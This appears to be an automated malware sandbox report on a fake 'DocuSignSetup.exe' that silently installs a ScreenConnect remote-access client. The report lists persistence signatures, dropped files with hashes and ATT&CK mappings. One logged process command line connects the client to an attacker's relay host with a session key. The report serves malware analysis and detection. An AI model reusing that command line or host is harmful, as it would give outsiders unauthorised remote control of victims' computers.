Overview

overview

8

Static

static

3

release/Do...up.exe

windows10-2004-x64

8

release/Do...up.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 09:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    release/DocuSignSetup.exe
  • Size 27.6MB
  • Sample260808-k8y2eaxwft
  • SHA256 db1733ee6d803df64f07e100da0a78d4a7b61c66a85497b8dd045b1b7e112cbe
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoverypersistenceprivilege_escalationransomwarerevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 23 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\release\DocuSignSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\release\DocuSignSetup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\SYSTEM32\mshta.exe
      mshta.exe "C:\ProgramData\DocuSign\DocuSignProgress.hta"
      2⤵
        PID:4580
      • C:\Windows\SYSTEM32\msiexec.exe
        msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_0E59389A\Installer.msi" /quiet /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5232
      • C:\Users\Admin\AppData\Local\Temp\DocuSign_0E59389A\setup.exe
        "C:\Users\Admin\AppData\Local\Temp\DocuSign_0E59389A\setup.exe" /install /quiet /norestart
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\Temp\{04FBE00E-D341-416F-BA9B-D52727E25499}\.cr\setup.exe
          "C:\Windows\Temp\{04FBE00E-D341-416F-BA9B-D52727E25499}\.cr\setup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_0E59389A\setup.exe" -burn.filehandle.attached=912 -burn.filehandle.self=920 /install /quiet /norestart
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2056
          • C:\Windows\Temp\{B2AF678F-6AD1-4057-A0DF-C8DE56A42D14}\.be\VC_redist.x64.exe
            "C:\Windows\Temp\{B2AF678F-6AD1-4057-A0DF-C8DE56A42D14}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{819BD601-75AF-4B5D-A6A1-2E65F32F81DF} {8D84F24A-44B0-4167-B78B-912B0B4D3CD5} 2056
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4600
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3064
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9478475260790CFA1F7DECC57DC69A04
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1220
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI3D4D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240729734 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5932
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 38BA9890076D681B9B48D8DC438073B6 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4308
    • C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=vps133panel.com&p=8041&s=1f4beea9-285b-46d0-948d-69de56588def&k=BgIAAACkAABSU0ExAAgAAAEAAQBxk4oYT1PPsUzI3p69ejeon43YwY3II2AN%2fycjC1CLaUX9cyimSa9yBek6KgdAzhwJQTcfel3WImdb%2fYl1RjpINYqQuw2pTjDgDV59hDKJRhZSqaLwWIFne7k9FFUTtPHtkAk%2bJDsk%2bObWYjlvdiXPAwd1z2dVRwVel%2bwJO%2f4G%2ba62q9%2bsojlsmkX0VZj5gBwhqOgcHOvcgj5gc8fwWdUnGzNYi6KhiGShBIoBGhKG1CKF5bLf48EiVTyPukxHy13UHnkJwT1ymqOoxu%2bSDsrRgD9ZSrZgwk1uRi6IFojR1oaDtzonJ8Helc8UPqg71KvcYV%2fgQ%2fmaAGyHqdcPlYyy"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5580
      • C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.WindowsClient.exe" "RunRole" "7c385c20-e465-41b1-95ee-c2759125f9c4" "User"
        2⤵
        • Executes dropped EXE
        PID:1644
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2484
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      1⤵
        PID:4528

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Privilege Escalation

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            1
            T1543

            Windows Service

            1
            T1543.003

            Event Triggered Execution

            1
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Defense Evasion

            Modify Registry

            1
            T1112

            Credential Access

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            3
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e593b3d.rbs
            • Path C:\Config.Msi\e593b3d.rbs
            • Size 214KB
            • SHA256 3315fd2feddffdf250b5239cd4514865671d68193eca4322653f0ddc85da0169
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.Override.en-US.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\Client.Override.en-US.resources
            • Size 297B
            • SHA256 faa825cd450250b700750462391bda361a4b28f12c69f82edbd0ef2e22172969
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Client.Override.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\Client.Override.resources
            • Size 54KB
            • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.en-US.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\Client.en-US.resources
            • Size 47KB
            • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.resources
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Client.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsAuthenticationPackage.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.WindowsClient.exe.config
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ScreenConnect.WindowsCredentialProvider.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.config
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\app.config
            • Size 2KB
            • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            system.config
            • Path C:\Program Files (x86)\ScreenConnect Client (08ee12a996a3991e)\system.config
            • Size 943B
            • SHA256 e2dfee500a4596fa922aca4e4d10403ead6847628b6e5392697d6ef764b0f123
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            DocuSignLogo.png
            • Path C:\ProgramData\DocuSign\DocuSignLogo.png
            • Size 11KB
            • SHA256 52ae23fd46a938b3d6d21a1119b94fa738b72ddaa02f6421e56c32add2b19610
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            DocuSignProgress.hta
            • Path C:\ProgramData\DocuSign\DocuSignProgress.hta
            • Size 1KB
            • SHA256 fd38fd08d5d9132ddd6eb5d155b782fb0c39dc91cafa581dc6e404aa05af48d8
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Installer.msi
            • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_0E59389A\Installer.msi
            • Size 3.0MB
            • SHA256 34c6d2292c26273f6e37f706909f895ba7fa653a859452c20415e97555791128
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            setup.exe
            • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_0E59389A\setup.exe
            • Size 24.4MB
            • SHA256 cc0ff0eb1dc3f5188ae6300faef32bf5beeba4bdd6e8e445a9184072096b713b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSI3D4D.tmp
            • Path C:\Windows\Installer\MSI3D4D.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Deployment.WindowsInstaller.dll
            • Path C:\Windows\Installer\MSI3D4D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Core.dll
            • Path C:\Windows\Installer\MSI3D4D.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.InstallerActions.dll
            • Path C:\Windows\Installer\MSI3D4D.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Windows.dll
            • Path C:\Windows\Installer\MSI3D4D.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSI4425.tmp
            • Path C:\Windows\Installer\MSI4425.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            1woda4qy.newcfg
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (08ee12a996a3991e)\1woda4qy.newcfg
            • Size 562B
            • SHA256 3cf8c3f8285379259f21576166bb318307d26924f28b0a81618c54f45f458e46
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            23btohvd.newcfg
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (08ee12a996a3991e)\23btohvd.newcfg
            • Size 562B
            • SHA256 43bb31535d24f604e84fb15cca0f8033d67b2ab3ffe67d76bb172edc0189914e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            334qhzji.newcfg
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (08ee12a996a3991e)\334qhzji.newcfg
            • Size 562B
            • SHA256 702d8fe8adeccbd43d260087cf554cfa468a162a5f2e49e8f4e147329be576d8
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            bbtebd2j.newcfg
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (08ee12a996a3991e)\bbtebd2j.newcfg
            • Size 562B
            • SHA256 4d50d355fe028b2b5135e65ccb1c0cea6a478fe3ec2c2d049e26b515b0879cf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            user.config
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (08ee12a996a3991e)\user.config
            • Size 562B
            • SHA256 354bde349b8dd1fdf3a2349ca4eedfb2a2c11cc0f25ea4c8453209d956c7ce10
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            user.config
            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (08ee12a996a3991e)\user.config
            • Size 562B
            • SHA256 11d504815282c17c66159f2f6a5adb14232a1955657b2e5f48e921da44de6c55
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            setup.exe
            • Path C:\Windows\Temp\{04FBE00E-D341-416F-BA9B-D52727E25499}\.cr\setup.exe
            • Size 670KB
            • SHA256 568c9ba533624084ea18f7a562b4aa2249ed4e41281524a061a0d0b1008cf6bd
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            logo.png
            • Path C:\Windows\Temp\{B2AF678F-6AD1-4057-A0DF-C8DE56A42D14}\.ba\logo.png
            • Size 1KB
            • SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            wixstdba.dll
            • Path C:\Windows\Temp\{B2AF678F-6AD1-4057-A0DF-C8DE56A42D14}\.ba\wixstdba.dll
            • Size 215KB
            • SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/1644-129-0x0000000000A90000-0x0000000000B28000-memory.dmp
            Download

            memory/1644-136-0x0000000001490000-0x00000000014A8000-memory.dmp
            Download

            memory/1644-130-0x0000000002CB0000-0x0000000002CE6000-memory.dmp
            Download

            memory/1644-133-0x000000001BB90000-0x000000001BC1E000-memory.dmp
            Download

            memory/1644-134-0x000000001BDD0000-0x000000001BF7C000-memory.dmp
            Download

            memory/1644-135-0x000000001BF80000-0x000000001C108000-memory.dmp
            Download

            memory/1644-137-0x00000000014E0000-0x00000000014F8000-memory.dmp
            Download

            memory/1644-138-0x0000000002E30000-0x0000000002E71000-memory.dmp
            Download

            memory/2332-208-0x00007FF649B40000-0x00007FF649B5D000-memory.dmp
            Download

            memory/2332-192-0x00007FF649B40000-0x00007FF649B5D000-memory.dmp
            Download

            memory/5580-111-0x00000000044D0000-0x0000000004511000-memory.dmp
            Download

            memory/5580-108-0x0000000004560000-0x0000000004596000-memory.dmp
            Download

            memory/5580-104-0x0000000004510000-0x0000000004560000-memory.dmp
            Download

            memory/5580-113-0x0000000004830000-0x0000000004905000-memory.dmp
            Download

            memory/5580-82-0x0000000001B00000-0x0000000001B18000-memory.dmp
            Download

            memory/5580-109-0x0000000004640000-0x00000000046D2000-memory.dmp
            Download

            memory/5932-43-0x0000000006120000-0x00000000066DA000-memory.dmp
            Download

            memory/5932-42-0x00000000059B0000-0x0000000005B5C000-memory.dmp
            Download

            memory/5932-38-0x0000000005770000-0x00000000057FE000-memory.dmp
            Download

            memory/5932-34-0x0000000005660000-0x000000000566A000-memory.dmp
            Download

            memory/5932-30-0x0000000005670000-0x000000000569E000-memory.dmp
            Download